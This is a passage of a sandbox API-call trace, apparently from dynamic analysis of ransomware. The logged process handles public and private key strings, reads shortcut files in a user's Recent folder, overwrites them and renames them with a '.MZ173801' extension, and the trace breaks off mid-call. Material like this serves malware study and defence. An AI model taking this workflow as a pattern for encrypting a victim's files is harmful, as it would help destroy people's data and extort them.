lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0151.497] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0151.498] GetCurrentThreadId () returned 0xab4 [0151.498] GetCurrentThreadId () returned 0xab4 [0151.498] GetCurrentThreadId () returned 0xab4 [0151.498] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qGswZi1Gyw _CPZuF.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qgswzi1gyw _cpzuf.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0151.498] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0151.498] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0151.498] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x457 [0151.498] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0151.498] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x457, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x457, lpOverlapped=0x0) returned 1 [0151.499] CloseHandle (hObject=0x280) returned 1 [0151.499] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qGswZi1Gyw _CPZuF.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qgswzi1gyw _cpzuf.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0151.617] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x457, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x457, lpOverlapped=0x0) returned 1 [0151.618] CloseHandle (hObject=0x280) returned 1 [0151.623] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qGswZi1Gyw _CPZuF.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qgswzi1gyw _cpzuf.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qGswZi1Gyw _CPZuF.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qgswzi1gyw _cpzuf.lnk.mz173801")) returned 1 [0151.624] GetCurrentThreadId () returned 0xab4 [0151.624] GetCurrentThreadId () returned 0xab4 [0151.624] GetCurrentThreadId () returned 0xab4 [0151.624] GetCurrentThreadId () returned 0xab4 [0151.624] GetCurrentThreadId () returned 0xab4 [0151.624] GetCurrentThreadId () returned 0xab4 [0151.624] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1e2b7af, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf1e2b7af, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf1e2b7af, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x5c3, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="QRroD6XCz-BrMFrtkIV.lnk", cAlternateFileName="QRROD6~1.LNK")) returned 1 [0151.624] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0151.624] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0151.624] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QRroD6XCz-BrMFrtkIV.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qrrod6xcz-brmfrtkiv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1e2b7af, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf1e2b7af, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf1e2b7af, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x5c3)) returned 1 [0151.624] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QRroD6XCz-BrMFrtkIV.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qrrod6xcz-brmfrtkiv.lnk")) returned 0x20 [0151.624] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QRroD6XCz-BrMFrtkIV.lnk", dwFileAttributes=0x80) returned 1 [0151.628] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0151.628] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0151.630] GetCurrentThreadId () returned 0xab4 [0151.630] GetCurrentThreadId () returned 0xab4 [0151.630] GetCurrentThreadId () returned 0xab4 [0151.630] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0151.630] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0151.631] GetCurrentThreadId () returned 0xab4 [0151.631] GetCurrentThreadId () returned 0xab4 [0151.631] GetCurrentThreadId () returned 0xab4 [0151.631] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QRroD6XCz-BrMFrtkIV.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qrrod6xcz-brmfrtkiv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0151.631] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: 